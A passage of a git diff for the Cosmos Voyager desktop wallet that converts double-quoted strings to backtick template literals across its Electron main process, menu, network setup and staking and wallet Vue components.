- (configTOML.p2p.persistent_peers + "," + configTOML.p2p.seeds) - .split(",") - .filter(x => x !== "") - .map(x => (x.indexOf("@") !== -1 ? x.split("@")[1] : x)) + (configTOML.p2p.persistent_peers + `,` + configTOML.p2p.seeds) + .split(`,`) + .filter(x => x !== ``) + .map(x => (x.indexOf(`@`) !== -1 ? x.split(`@`)[1] : x)) ) if (persistent_peers.length === 0) { - throw new Error("No seeds specified in config.toml") + throw new Error(`No seeds specified in config.toml`) } else { return persistent_peers } @@ -705,12 +705,12 @@ const getPersistentPeers = configPath => { async function main() { // we only enable error collection after users opted in - Raven.config("", { captureUnhandledRejections: false }).install() + Raven.config(``, { captureUnhandledRejections: false }).install() - let appVersionPath = join(root, "app_version") - let genesisPath = join(root, "genesis.json") - let configPath = join(root, "config.toml") - let gaiacliVersionPath = join(root, "gaiaversion.txt") + let appVersionPath = join(root, `app_version`) + let genesisPath = join(root, `genesis.json`) + let configPath = join(root, `config.toml`) + let gaiacliVersionPath = join(root, `gaiaversion.txt`) let rootExists = exists(root) await fs.ensureDir(root) @@ -737,13 +737,13 @@ async function main() { // check to make sure the genesis.json we want to use matches the one // we already have. if it has changed, replace it with the new one - let existingGenesis = fs.readFileSync(genesisPath, "utf8") + let existingGenesis = fs.readFileSync(genesisPath, `utf8`) let genesisJSON = JSON.parse(existingGenesis) // skip this check for local testnet - if (genesisJSON.chain_id !== "local") { + if (genesisJSON.chain_id !== `local`) { let specifiedGenesis = fs.readFileSync( - join(networkPath, "genesis.json"), - "utf8" + join(networkPath, `genesis.json`), + `utf8` ) if (existingGenesis.trim() !== specifiedGenesis.trim()) { fs.copySync(networkPath, root) @@ -766,7 +766,7 @@ async function main() { await checkGaiaCompatibility(gaiacliVersionPath) // read chainId from genesis.json - let genesisText = fs.readFileSync(genesisPath, "utf8") + let genesisText = fs.readFileSync(genesisPath, `utf8`) let genesis = JSON.parse(genesisText) chainId = genesis.chain_id // is set globaly @@ -779,7 +779,7 @@ async function main() { persistent_peers, onConnectionMessage: message => { log(message) - mainWindow.webContents.send("connection-status", message) + mainWindow.webContents.send(`connection-status`, message) } }) diff --git a/app/src/main/menu.js b/app/src/main/menu.js index 70ab0912ff..34d20acb25 100644 --- a/app/src/main/menu.js +++ b/app/src/main/menu.js @@ -1,59 +1,59 @@ "use strict" -const { app, Menu, shell, dialog } = require("electron") -const { join } = require("path") +const { app, Menu, shell, dialog } = require(`electron`) +const { join } = require(`path`) module.exports = function() { let template = [ { - label: "Cosmos Voyager", + label: `Cosmos Voyager`, submenu: [ { - label: "About Cosmos Voyager", - selector: "orderFrontStandardAboutPanel:", + label: `About Cosmos Voyager`, + selector: `orderFrontStandardAboutPanel:`, click: () => openAboutMenu() }, - { type: "separator" }, + { type: `separator` }, { - label: "Quit", - accelerator: "Command+Q", + label: `Quit`, + accelerator: `Command+Q`, click: () => app.quit() } ] }, { - label: "Edit", + label: `Edit`, submenu: [ { - label: "Cut", - accelerator: "CmdOrCtrl+X", - selector: "cut:" + label: `Cut`, + accelerator: `CmdOrCtrl+X`, + selector: `cut:` }, { - label: "Copy", - accelerator: "CmdOrCtrl+C", - selector: "copy:" + label: `Copy`, + accelerator: `CmdOrCtrl+C`, + selector: `copy:` }, { - label: "Paste", - accelerator: "CmdOrCtrl+V", - selector: "paste:" + label: `Paste`, + accelerator: `CmdOrCtrl+V`, + selector: `paste:` } ] }, { - label: "Help", + label: `Help`, submenu: [ { - label: "Report An Issue", + label: `Report An Issue`, click() { - shell.openExternal("https://github.com/cosmos/voyager/issues/new") + shell.openExternal(`https://github.com/cosmos/voyager/issues/new`) } }, { - label: "View Application Log", + label: `View Application Log`, click() { - shell.openItem(global.root + "/main.log") + shell.openItem(global.root + `/main.log`) } } ] @@ -65,19 +65,19 @@ module.exports = function() { } function openAboutMenu() { - const voyagerVersion = require("../../../package.json").version + const voyagerVersion = require(`../../../package.json`).version const gaiaVersion = process.env.GAIA_VERSION const electronVersion = app.getVersion() const imageLocation = - process.env.NODE_ENV === "development" - ? join(__dirname, "../renderer/assets/images") - : join(__dirname, "./imgs") + process.env.NODE_ENV === `development` + ? join(__dirname, `../renderer/assets/images`) + : join(__dirname, `./imgs`) dialog.showMessageBox({ - type: "info", - title: "About Voyager", + type: `info`, + title: `About Voyager`, message: `Versions\n\nVoyager ${voyagerVersion}\nCosmos SDK ${gaiaVersion}\nElectron ${electronVersion}`, - icon: join(imageLocation, "cosmos-logo.png") + icon: join(imageLocation, `cosmos-logo.png`) }) } diff --git a/app/src/network.js b/app/src/network.js index 8218ad0588..18e89302a5 100644 --- a/app/src/network.js +++ b/app/src/network.js @@ -1,15 +1,15 @@ "use strict" -let { join } = require("path") -let { readFileSync } = require("fs-extra") -let config = require("./config.js") +let { join } = require(`path`) +let { readFileSync } = require(`fs-extra`) +let config = require(`./config.js`) // this network gets used if none is specified via the // COSMOS_NETWORK env var -let DEFAULT_NETWORK = join(__dirname, "../networks/" + config.default_network) +let DEFAULT_NETWORK = join(__dirname, `../networks/` + config.default_network) let networkPath = process.env.COSMOS_NETWORK || DEFAULT_NETWORK -let genesisText = readFileSync(join(networkPath, "genesis.json"), "utf8") +let genesisText = readFileSync(join(networkPath, `genesis.json`), `utf8`) let genesis = JSON.parse(genesisText) let networkName = genesis.chain_id diff --git a/app/src/renderer/App.vue b/app/src/renderer/App.vue index 91097eaf47..5561a20e6f 100644 --- a/app/src/renderer/App.vue +++ b/app/src/renderer/App.vue @@ -31,7 +31,7 @@ import Onboarding from "common/TmOnboarding" import Session from "common/TmSession" import store from "./vuex/store" export default { - name: "app", + name: `app`, components: { AppHeader, AppFooter, @@ -47,16 +47,16 @@ export default { }, computed: { ...mapGetters([ - "notifications", - "config", - "themes", - "approvalRequired", - "onboarding" + `notifications`, + `config`, + `themes`, + `approvalRequired`, + `onboarding` ]) }, mounted() { - this.$store.commit("loadOnboarding") - this.$store.commit("setTheme", "dark") + this.$store.commit(`loadOnboarding`) + this.$store.commit(`setTheme`, `dark`) }, store } diff --git a/app/src/renderer/components/common/AnchorCopy.vue b/app/src/renderer/components/common/AnchorCopy.vue index 4aaf1edc49..c92d5e9da5 100644 --- a/app/src/renderer/components/common/AnchorCopy.vue +++ b/app/src/renderer/components/common/AnchorCopy.vue @@ -7,11 +7,11 @@ a.anchor-copy(@click="click") diff --git a/app/src/renderer/components/common/AppFooter.vue b/app/src/renderer/components/common/AppFooter.vue index ec1686f9f3..ad8c50c35d 100644 --- a/app/src/renderer/components/common/AppFooter.vue +++ b/app/src/renderer/components/common/AppFooter.vue @@ -5,7 +5,7 @@ footer.app-footer: connected-network diff --git a/app/src/renderer/components/common/AppHeader.vue b/app/src/renderer/components/common/AppHeader.vue index 7c0a630be4..8facb359cc 100644 --- a/app/src/renderer/components/common/AppHeader.vue +++ b/app/src/renderer/components/common/AppHeader.vue @@ -22,21 +22,21 @@ import { mapGetters } from "vuex" import noScroll from "no-scroll" import AppMenu from "common/AppMenu" export default { - name: "app-header", + name: `app-header`, components: { AppMenu }, computed: { - ...mapGetters(["config", "themes"]), + ...mapGetters([`config`, `themes`]), isWin() { - return navigator.platform.toUpperCase().indexOf("WIN") >= 0 + return navigator.platform.toUpperCase().indexOf(`WIN`) >= 0 } }, methods: { close() { - this.$store.commit("setActiveMenu", "") + this.$store.commit(`setActiveMenu`, ``) noScroll.off() }, enableMenu() { - this.$store.commit("setActiveMenu", "app") + this.$store.commit(`setActiveMenu`, `app`) noScroll.on() }, watchWindowSize() { @@ -47,10 +47,10 @@ export default { if (w >= 1024) { this.close() - this.$store.commit("setConfigDesktop", true) + this.$store.commit(`setConfigDesktop`, true) return } else { - this.$store.commit("setConfigDesktop", false) + this.$store.commit(`setConfigDesktop`, false) } } }, diff --git a/app/src/renderer/components/common/AppMenu.vue b/app/src/renderer/components/common/AppMenu.vue index 56718e79f5..be83552307 100644 --- a/app/src/renderer/components/common/AppMenu.vue +++ b/app/src/renderer/components/common/AppMenu.vue @@ -34,7 +34,7 @@ import ConnectedNetwork from "common/TmConnectedNetwork" import { TmListItem } from "@tendermint/ui" import UserPane from "common/TmUserPane" export default { - name: "app-menu", + name: `app-menu`, components: { ConnectedNetwork, TmListItem, @@ -42,11 +42,11 @@ export default { }, computed: { ...mapGetters([ - "proposals", - "validators", - "config", - "lastHeader", - "mockedConnector" + `proposals`, + `validators`, + `config`, + `lastHeader`, + `mockedConnector` ]), isValidatorPage() { return this.$route.params.validator @@ -57,12 +57,12 @@ export default { }), methods: { close() { - this.$store.commit("setActiveMenu", "") + this.$store.commit(`setActiveMenu`, ``) noScroll.off() } }, mounted() { - this.ps = new PerfectScrollbar(this.$el.querySelector(".app-menu-main")) + this.ps = new PerfectScrollbar(this.$el.querySelector(`.app-menu-main`)) } } diff --git a/app/src/renderer/components/common/FundraiserWarning.vue b/app/src/renderer/components/common/FundraiserWarning.vue index cab97628ff..b589899bff 100644 --- a/app/src/renderer/components/common/FundraiserWarning.vue +++ b/app/src/renderer/components/common/FundraiserWarning.vue @@ -5,7 +5,7 @@ diff --git a/app/src/renderer/components/staking/PageStaking.vue b/app/src/renderer/components/staking/PageStaking.vue index aedcff9339..3114a49022 100644 --- a/app/src/renderer/components/staking/PageStaking.vue +++ b/app/src/renderer/components/staking/PageStaking.vue @@ -35,7 +35,7 @@ import PanelSort from "staking/PanelSort" import VmToolBar from "common/VmToolBar" import TmBalance from "common/TmBalance" export default { - name: "page-staking", + name: `page-staking`, components: { TmBtn, TmDataEmpty, @@ -49,25 +49,25 @@ export default { }, data: () => ({ num: num, - query: "", + query: ``, sort: { - property: "percent_of_vote", - order: "desc" + property: `percent_of_vote`, + order: `desc` }, - tabs: ["My Stake", "Validators"] + tabs: [`My Stake`, `Validators`] }), computed: { ...mapGetters([ - "delegates", - "delegation", - "filters", - "shoppingCart", - "committedDelegations", - "config", - "user", - "connected", - "bondingDenom", - "keybase" + `delegates`, + `delegation`, + `filters`, + `shoppingCart`, + `committedDelegations`, + `config`, + `user`, + `connected`, + `bondingDenom`, + `keybase` ]), somethingToSearch() { return !!this.delegates.delegates.length @@ -97,11 +97,11 @@ export default { }) }, sortedFilteredEnrichedDelegates() { - let query = this.filters.delegates.search.query || "" + let query = this.filters.delegates.search.query || `` let sortedEnrichedDelegates = orderBy( this.enrichedDelegates.slice(0), - [this.sort.property, "small_moniker"], - [this.sort.order, "asc"] + [this.sort.property, `small_moniker`], + [this.sort.order, `asc`] ) if (this.filters.delegates.search.visible) { return sortedEnrichedDelegates.filter(i => @@ -120,65 +120,65 @@ export default { properties() { return [ { - title: "Moniker", - value: "small_moniker", - tooltip: "The validator's moniker", - class: "name" + title: `Moniker`, + value: `small_moniker`, + tooltip: `The validator's moniker`, + class: `name` }, { title: `My Stake`, - value: "your_votes", + value: `your_votes`, tooltip: `Number of ${ this.bondingDenom } you have staked to the validator`, - class: "your-votes" + class: `your-votes` }, { title: `My Rewards`, - value: "your_rewards", // TODO: use real rewards + value: `your_rewards`, // TODO: use real rewards tooltip: `Rewards of ${ this.bondingDenom } you have gained from the validator`, - class: "your-rewards" // TODO: use real rewards + class: `your-rewards` // TODO: use real rewards }, { title: `Voting Power`, - value: "percent_of_vote", + value: `percent_of_vote`, tooltip: `Percentage of ${ this.bondingDenom } the validator has on The Cosmos Hub`, - class: "percent_of_vote" + class: `percent_of_vote` }, { - title: "Uptime", - value: "uptime", // TODO: use real uptime - tooltip: "The validator's uptime", - class: "uptime" + title: `Uptime`, + value: `uptime`, // TODO: use real uptime + tooltip: `The validator's uptime`, + class: `uptime` }, { - title: "Commission", - value: "commission", // TODO: use real commission - tooltip: "The validator's commission", - class: "commission" + title: `Commission`, + value: `commission`, // TODO: use real commission + tooltip: `The validator's commission`, + class: `commission` }, { - title: "Slashes", - value: "slashes", // TODO: use real slashes - tooltip: "The validator's slashes", - class: "slashes" + title: `Slashes`, + value: `slashes`, // TODO: use real slashes + tooltip: `The validator's slashes`, + class: `slashes` } ] } }, methods: { - setSearch(bool = !this.filters["delegates"].search.visible) { + setSearch(bool = !this.filters[`delegates`].search.visible) { if (!this.somethingToSearch) return false - this.$store.commit("setSearchVisible", ["delegates", bool]) + this.$store.commit(`setSearchVisible`, [`delegates`, bool]) } }, async mounted() { - Mousetrap.bind(["command+f", "ctrl+f"], () => this.setSearch(true)) - Mousetrap.bind("esc", () => this.setSearch(false)) + Mousetrap.bind([`command+f`, `ctrl+f`], () => this.setSearch(true)) + Mousetrap.bind(`esc`, () => this.setSearch(false)) // XXX temporary because querying the shares shows old shares after bonding // this.updateDelegates() diff --git a/app/src/renderer/components/staking/PageValidator.vue b/app/src/renderer/components/staking/PageValidator.vue index b277e181b4..d7f1309fdd 100644 --- a/app/src/renderer/components/staking/PageValidator.vue +++ b/app/src/renderer/components/staking/PageValidator.vue @@ -108,7 +108,7 @@ import numeral from "numeral" import AnchorCopy from "common/AnchorCopy" import TmBalance from "common/TmBalance" export default { - name: "page-validator", + name: `page-validator`, components: { AnchorCopy, ModalStake, @@ -130,10 +130,10 @@ export default { computed: { ...mapGetters([ `bondingDenom`, - "delegates", + `delegates`, `delegation`, - "config", - "keybase", + `config`, + `keybase`, `oldBondedAtoms`, `totalAtoms`, `wallet`, @@ -175,24 +175,24 @@ export default { status() { // status: jailed if (this.validator.revoked) - return "This validator has been jailed and is not currently validating" + return `This validator has been jailed and is not currently validating` // status: candidate if (parseFloat(this.validator.voting_power) === 0) - return "This validator has declared candidacy but does not have enough voting power yet" + return `This validator has declared candidacy but does not have enough voting power yet` // status: validator - return "This validator is actively validating" + return `This validator is actively validating` }, statusColor() { // status: jailed - if (this.validator.revoked) return "red" + if (this.validator.revoked) return `red` // status: candidate - if (parseFloat(this.validator.voting_power) === 0) return "yellow" + if (parseFloat(this.validator.voting_power) === 0) return `yellow` // status: validator - return "green" + return `green` }, availableAtoms() { return this.totalAtoms - this.oldBondedAtoms @@ -211,7 +211,7 @@ export default { }, async submitDelegation({ amount }) { try { - await this.$store.dispatch("submitDelegation", { + await this.$store.dispatch(`submitDelegation`, { delegations: [ { atoms: amount, @@ -220,23 +220,23 @@ export default { ] }) - this.$store.commit("notify", { - title: "Successful Staking!", + this.$store.commit(`notify`, { + title: `Successful Staking!`, body: `You have successfully staked your ${this.bondingDenom}s.` }) } catch (exception) { const { message } = exception - let errData = message.split("\n")[5] + let errData = message.split(`\n`)[5] if (errData) { - let parsedErr = errData.split('"')[1] + let parsedErr = errData.split(`"`)[1] - this.$store.commit("notifyError", { + this.$store.commit(`notifyError`, { title: `Error While Staking ${this.bondingDenom}s`, body: parsedErr[0].toUpperCase() + parsedErr.slice(1) }) } else { - this.$store.commit("notifyError", { + this.$store.commit(`notifyError`, { title: `Error While Staking ${this.bondingDenom}s`, body: message }) @@ -244,17 +244,17 @@ export default { } }, pretty(num) { - return numeral(num).format("0,0.00") + return numeral(num).format(`0,0.00`) }, // empty descriptions have a strange '[do-not-modify]' value which we don't want to show translateEmptyDescription(value) { - if (!value || value === "[do-not-modify]") return "n/a" + if (!value || value === `[do-not-modify]`) return `n/a` return value } }, watch: { validator(validator) { - this.$store.dispatch("getSelfBond", validator) + this.$store.dispatch(`getSelfBond`, validator) } } } diff --git a/app/src/renderer/components/staking/PanelSort.vue b/app/src/renderer/components/staking/PanelSort.vue index 2d5b763675..8682a5574f 100644 --- a/app/src/renderer/components/staking/PanelSort.vue +++ b/app/src/renderer/components/staking/PanelSort.vue @@ -9,32 +9,32 @@ diff --git a/app/src/renderer/components/staking/TabMyStake.vue b/app/src/renderer/components/staking/TabMyStake.vue index 04fad19a4f..022f65d230 100644 --- a/app/src/renderer/components/staking/TabMyStake.vue +++ b/app/src/renderer/components/staking/TabMyStake.vue @@ -39,7 +39,7 @@ import ModalSearch from "common/TmModalSearch" import PanelSort from "staking/PanelSort" import VmToolBar from "common/VmToolBar" export default { - name: "page-staking", + name: `page-staking`, components: { LiValidator, TmBtn, @@ -53,26 +53,26 @@ export default { }, data: () => ({ num: num, - query: "", + query: ``, sort: { - property: "percent_of_vote", - order: "desc" + property: `percent_of_vote`, + order: `desc` }, - bondInfo: "Validators you are currently bonded to", - unbondInfo: "Your bonded validators in unbonding process" + bondInfo: `Validators you are currently bonded to`, + unbondInfo: `Your bonded validators in unbonding process` }), computed: { ...mapGetters([ - "delegates", - "delegation", - "filters", - "shoppingCart", - "committedDelegations", - "config", - "user", - "connected", - "bondingDenom", - "keybase" + `delegates`, + `delegation`, + `filters`, + `shoppingCart`, + `committedDelegations`, + `config`, + `user`, + `connected`, + `bondingDenom`, + `keybase` ]), address() { return this.user.address @@ -105,11 +105,11 @@ export default { }) }, sortedFilteredEnrichedDelegates() { - let query = this.filters.delegates.search.query || "" + let query = this.filters.delegates.search.query || `` let sortedEnrichedDelegates = orderBy( this.enrichedDelegates.slice(0), - [this.sort.property, "small_moniker"], - [this.sort.order, "asc"] + [this.sort.property, `small_moniker`], + [this.sort.order, `asc`] ) if (this.filters.delegates.search.visible) { return sortedEnrichedDelegates.filter(i => @@ -134,52 +134,52 @@ export default { properties() { return [ { - title: "Moniker", - value: "small_moniker", - tooltip: "The validator's moniker", - class: "name" + title: `Moniker`, + value: `small_moniker`, + tooltip: `The validator's moniker`, + class: `name` }, { - title: "My Stake", - value: "your_votes", + title: `My Stake`, + value: `your_votes`, tooltip: `Number of ${ this.bondingDenom } you have staked to the validator`, - class: "your-votes" + class: `your-votes` }, { - title: "My Rewards", - value: "your_rewards", // TODO: use real rewards + title: `My Rewards`, + value: `your_rewards`, // TODO: use real rewards tooltip: `Rewards of ${ this.bondingDenom } you have gained from the validator`, - class: "your-rewards" // TODO: use real rewards + class: `your-rewards` // TODO: use real rewards }, { - title: "Voting Power", - value: "percent_of_vote", + title: `Voting Power`, + value: `percent_of_vote`, tooltip: `Percentage of ${ this.bondingDenom } the validator has on The Cosmos Hub`, - class: "percent_of_vote" + class: `percent_of_vote` }, { - title: "Uptime", - value: "uptime", - tooltip: "Ratio of blocks signed within the last 10k blocks", - class: "uptime" + title: `Uptime`, + value: `uptime`, + tooltip: `Ratio of blocks signed within the last 10k blocks`, + class: `uptime` }, { - title: "Commission", - value: "commission", - tooltip: "The validator's commission", - class: "commission" + title: `Commission`, + value: `commission`, + tooltip: `The validator's commission`, + class: `commission` }, { - title: "Slashes", - value: "slashes", // TODO: use real slashes - tooltip: "The validator's slashes", - class: "slashes" + title: `Slashes`, + value: `slashes`, // TODO: use real slashes + tooltip: `The validator's slashes`, + class: `slashes` } ] }, @@ -195,16 +195,16 @@ export default { }, methods: { updateDelegates() { - this.$store.dispatch("updateDelegates") + this.$store.dispatch(`updateDelegates`) }, - setSearch(bool = !this.filters["delegates"].search.visible) { + setSearch(bool = !this.filters[`delegates`].search.visible) { if (!this.somethingToSearch) return false - this.$store.commit("setSearchVisible", ["delegates", bool]) + this.$store.commit(`setSearchVisible`, [`delegates`, bool]) } }, async mounted() { - Mousetrap.bind(["command+f", "ctrl+f"], () => this.setSearch(true)) - Mousetrap.bind("esc", () => this.setSearch(false)) + Mousetrap.bind([`command+f`, `ctrl+f`], () => this.setSearch(true)) + Mousetrap.bind(`esc`, () => this.setSearch(false)) // XXX temporary because querying the shares shows old shares after bonding // this.updateDelegates() diff --git a/app/src/renderer/components/staking/TabValidators.vue b/app/src/renderer/components/staking/TabValidators.vue index fb0756c78e..8e5eec22a4 100644 --- a/app/src/renderer/components/staking/TabValidators.vue +++ b/app/src/renderer/components/staking/TabValidators.vue @@ -21,7 +21,7 @@ import ModalSearch from "common/TmModalSearch" import PanelSort from "staking/PanelSort" import VmToolBar from "common/VmToolBar" export default { - name: "page-staking", + name: `page-staking`, components: { LiValidator, TmBtn, @@ -35,24 +35,24 @@ export default { }, data: () => ({ num: num, - query: "", + query: ``, sort: { - property: "percent_of_vote", - order: "desc" + property: `percent_of_vote`, + order: `desc` } }), computed: { ...mapGetters([ - "delegates", - "delegation", - "filters", - "shoppingCart", - "committedDelegations", - "config", - "user", - "connected", - "bondingDenom", - "keybase" + `delegates`, + `delegation`, + `filters`, + `shoppingCart`, + `committedDelegations`, + `config`, + `user`, + `connected`, + `bondingDenom`, + `keybase` ]), address() { return this.user.address @@ -85,11 +85,11 @@ export default { }) }, sortedFilteredEnrichedDelegates() { - let query = this.filters.delegates.search.query || "" + let query = this.filters.delegates.search.query || `` let sortedEnrichedDelegates = orderBy( this.enrichedDelegates.slice(0), - [this.sort.property, "small_moniker"], - [this.sort.order, "asc"] + [this.sort.property, `small_moniker`], + [this.sort.order, `asc`] ) if (this.filters.delegates.search.visible) { return sortedEnrichedDelegates.filter(i => @@ -108,52 +108,52 @@ export default { properties() { return [ { - title: "Moniker", - value: "small_moniker", - tooltip: "The validator's moniker", - class: "name" + title: `Moniker`, + value: `small_moniker`, + tooltip: `The validator's moniker`, + class: `name` }, { - title: "My Stake", - value: "your_votes", + title: `My Stake`, + value: `your_votes`, tooltip: `Number of ${ this.bondingDenom } you have staked to the validator`, - class: "your-votes" + class: `your-votes` }, { - title: "My Rewards", - value: "your_rewards", // TODO: use real rewards + title: `My Rewards`, + value: `your_rewards`, // TODO: use real rewards tooltip: `Rewards of ${ this.bondingDenom } you have gained from the validator`, - class: "your-rewards" // TODO: use real rewards + class: `your-rewards` // TODO: use real rewards }, { - title: "Voting Power", - value: "percent_of_vote", + title: `Voting Power`, + value: `percent_of_vote`, tooltip: `Percentage of ${ this.bondingDenom } the validator has on The Cosmos Hub`, - class: "percent_of_vote" + class: `percent_of_vote` }, { - title: "Uptime", - value: "uptime", - tooltip: "Ratio of blocks signed within the last 10k blocks", - class: "uptime" + title: `Uptime`, + value: `uptime`, + tooltip: `Ratio of blocks signed within the last 10k blocks`, + class: `uptime` }, { - title: "Commission", - value: "commission", - tooltip: "The validator's commission", - class: "commission" + title: `Commission`, + value: `commission`, + tooltip: `The validator's commission`, + class: `commission` }, { - title: "Slashes", - value: "slashes", // TODO: use real slashes - tooltip: "The validator's slashes", - class: "slashes" + title: `Slashes`, + value: `slashes`, // TODO: use real slashes + tooltip: `The validator's slashes`, + class: `slashes` } ] } @@ -165,16 +165,16 @@ export default { }, methods: { updateDelegates() { - this.$store.dispatch("updateDelegates") + this.$store.dispatch(`updateDelegates`) }, - setSearch(bool = !this.filters["delegates"].search.visible) { + setSearch(bool = !this.filters[`delegates`].search.visible) { if (!this.somethingToSearch) return false - this.$store.commit("setSearchVisible", ["delegates", bool]) + this.$store.commit(`setSearchVisible`, [`delegates`, bool]) } }, async mounted() { - Mousetrap.bind(["command+f", "ctrl+f"], () => this.setSearch(true)) - Mousetrap.bind("esc", () => this.setSearch(false)) + Mousetrap.bind([`command+f`, `ctrl+f`], () => this.setSearch(true)) + Mousetrap.bind(`esc`, () => this.setSearch(false)) // XXX temporary because querying the shares shows old shares after bonding // this.updateDelegates() diff --git a/app/src/renderer/components/wallet/PageSend.vue b/app/src/renderer/components/wallet/PageSend.vue index b89ece5c7d..5f54d74bcd 100644 --- a/app/src/renderer/components/wallet/PageSend.vue +++ b/app/src/renderer/components/wallet/PageSend.vue @@ -93,11 +93,11 @@ export default { }, computed: { ...mapGetters([ - "wallet", - "lastHeader", - "config", - "mockedConnector", - "connected" + `wallet`, + `lastHeader`, + `config`, + `mockedConnector`, + `connected` ]), max() { let denom = this.wallet.balances.find(b => b.denom === this.denom) @@ -116,17 +116,17 @@ export default { data: () => ({ bech32error: null, fields: { - address: "", + address: ``, amount: null, - denom: "", - zoneId: "cosmos-hub-1" + denom: ``, + zoneId: `cosmos-hub-1` }, confirmationPending: false, sending: false }), methods: { resetForm() { - this.fields.address = "" + this.fields.address = `` this.fields.amount = null this.sending = false this.$v.$reset() @@ -145,7 +145,7 @@ export default { let denom = this.fields.denom try { // if address has a slash, it is IBC address format - let type = "send" + let type = `send` // TODO reenable when we have IBC // if (this.lastHeader.chain_id !== zoneId) { // type = "ibcSend" @@ -159,16 +159,16 @@ export default { amount: [{ denom, amount: amount.toString() }] }) this.sending = false - this.$store.commit("notify", { - title: "Successfully Sent", + this.$store.commit(`notify`, { + title: `Successfully Sent`, body: `Successfully sent ${amount} ${denom} to ${address}` }) // resets send transaction form this.resetForm() } catch (err) { this.sending = false - this.$store.commit("notifyError", { - title: "Error Sending", + this.$store.commit(`notifyError`, { + title: `Error Sending`, body: `An error occurred while trying to send: "${err.message}"` }) } @@ -186,9 +186,9 @@ export default { return false } }, - ...mapActions(["sendTx"]) + ...mapActions([`sendTx`]) }, - props: ["denom"], + props: [`denom`], mounted() { if (this.denom) { this.fields.denom = this.denom diff --git a/app/src/renderer/components/wallet/PageTransactions.vue b/app/src/renderer/components/wallet/PageTransactions.vue index 9c8cd999b9..2c5a03a3cb 100644 --- a/app/src/renderer/components/wallet/PageTransactions.vue +++ b/app/src/renderer/components/wallet/PageTransactions.vue @@ -32,7 +32,7 @@ import ModalSearch from "common/TmModalSearch" import { TmPage, TmDataLoading, TmLiAnyTransaction } from "@tendermint/ui" import VmToolBar from "common/VmToolBar" export default { - name: "page-transactions", + name: `page-transactions`, components: { TmLiAnyTransaction, TmDataLoading, @@ -43,15 +43,15 @@ export default { VmToolBar }, computed: { - ...mapState(["transactions", "node"]), + ...mapState([`transactions`, `node`]), ...mapGetters([ - "filters", - "allTransactions", - "wallet", - "config", - "delegation", - "connected", - "validators" + `filters`, + `allTransactions`, + `wallet`, + `config`, + `delegation`, + `connected`, + `validators` ]), somethingToSearch() { return !this.transactions.loading && !!this.allTransactions.length @@ -84,23 +84,23 @@ export default { data: () => ({ shortid: shortid, sort: { - property: "height", - order: "desc" + property: `height`, + order: `desc` }, - validatorURL: "/staking/validators" + validatorURL: `/staking/validators` }), methods: { refreshTransactions() { - this.$store.dispatch("getAllTxs") + this.$store.dispatch(`getAllTxs`) }, async endUnbonding(transaction) { let validatorAddr = transaction.tx.value.msg[0].value.validator_addr - await this.$store.dispatch("endUnbonding", validatorAddr) + await this.$store.dispatch(`endUnbonding`, validatorAddr) }, enrichUnbondingTransactions(transaction) { let copiedTransaction = JSON.parse(JSON.stringify(transaction)) let type = copiedTransaction.tx.value.msg[0].type - if (type === "cosmos-sdk/BeginUnbonding") { + if (type === `cosmos-sdk/BeginUnbonding`) { let tx = copiedTransaction.tx.value.msg[0].value let unbondingDelegation = this.delegation.unbondingDelegations[ tx.validator_addr @@ -116,14 +116,14 @@ export default { } return copiedTransaction }, - setSearch(bool = !this.filters["transactions"].search.visible) { + setSearch(bool = !this.filters[`transactions`].search.visible) { if (!this.somethingToSearch) return false - this.$store.commit("setSearchVisible", ["transactions", bool]) + this.$store.commit(`setSearchVisible`, [`transactions`, bool]) } }, mounted() { - Mousetrap.bind(["command+f", "ctrl+f"], () => this.setSearch(true)) - Mousetrap.bind("esc", () => this.setSearch(false)) + Mousetrap.bind([`command+f`, `ctrl+f`], () => this.setSearch(true)) + Mousetrap.bind(`esc`, () => this.setSearch(false)) this.refreshTransactions() } } diff --git a/app/src/renderer/components/wallet/PageWallet.vue b/app/src/renderer/components/wallet/PageWallet.vue index 9145720c2b..fef0a298e9 100644 --- a/app/src/renderer/components/wallet/PageWallet.vue +++ b/app/src/renderer/components/wallet/PageWallet.vue @@ -65,7 +65,7 @@ import TmBalance from "common/TmBalance" import ModalSearch from "common/TmModalSearch" import VmToolBar from "common/VmToolBar" export default { - name: "page-wallet", + name: `page-wallet`, data: () => ({ num }), components: { TmBalance, @@ -82,13 +82,13 @@ export default { }, computed: { ...mapGetters([ - "filters", - "wallet", - "committedDelegations", - "oldBondedAtoms", - "config", - "connected", - "user" + `filters`, + `wallet`, + `committedDelegations`, + `oldBondedAtoms`, + `config`, + `connected`, + `user` ]), somethingToSearch() { return !this.wallet.balancesLoading && !!this.wallet.balances.length @@ -109,8 +109,8 @@ export default { let query = this.filters.balances.search.query let list = orderBy( this.allDenomBalances, - ["amount", "denom"], - ["desc", "asc"] + [`amount`, `denom`], + [`desc`, `asc`] ) if (this.filters.balances.search.visible) { return list.filter(i => includes(i.denom.toLowerCase(), query)) @@ -126,10 +126,10 @@ export default { } }, methods: { - ...mapActions(["updateDelegates", "queryWalletState"]), - setSearch(bool = !this.filters["balances"].search.visible) { + ...mapActions([`updateDelegates`, `queryWalletState`]), + setSearch(bool = !this.filters[`balances`].search.visible) { if (!this.somethingToSearch) return false - this.$store.commit("setSearchVisible", ["balances", bool]) + this.$store.commit(`setSearchVisible`, [`balances`, bool]) }, updateBalances() { this.queryWalletState() @@ -137,16 +137,15 @@ export default { copy() { clipboard.writeText(this.wallet.address) - this.$store.commit("notify", { - title: "Copied your address to clipboard.", - body: - "You can receive Cosmos tokens of any denomination by sharing this address." + this.$store.commit(`notify`, { + title: `Copied your address to clipboard.`, + body: `You can receive Cosmos tokens of any denomination by sharing this address.` }) } }, mounted() { - Mousetrap.bind(["command+f", "ctrl+f"], () => this.setSearch(true)) - Mousetrap.bind("esc", () => this.setSearch(false)) + Mousetrap.bind([`command+f`, `ctrl+f`], () => this.setSearch(true)) + Mousetrap.bind(`esc`, () => this.setSearch(false)) this.updateDelegates() this.queryWalletState() } diff --git a/app/src/renderer/components/wallet/TmLiStakingTransaction.vue b/app/src/renderer/components/wallet/TmLiStakingTransaction.vue index e557cb4ddc..d5b5f623cf 100644 --- a/app/src/renderer/components/wallet/TmLiStakingTransaction.vue +++ b/app/src/renderer/components/wallet/TmLiStakingTransaction.vue @@ -27,7 +27,7 @@ import moment from "moment" import numeral from "numeral" export default { - name: "tm-li-staking-transaction", + name: `tm-li-staking-transaction`, computed: { tx() { return this.transaction.tx.value.msg[0].value @@ -37,7 +37,7 @@ export default { }, date() { try { - return moment(this.transaction.time).format("MMMM Do YYYY, h:mm:ss a") + return moment(this.transaction.time).format(`MMMM Do YYYY, 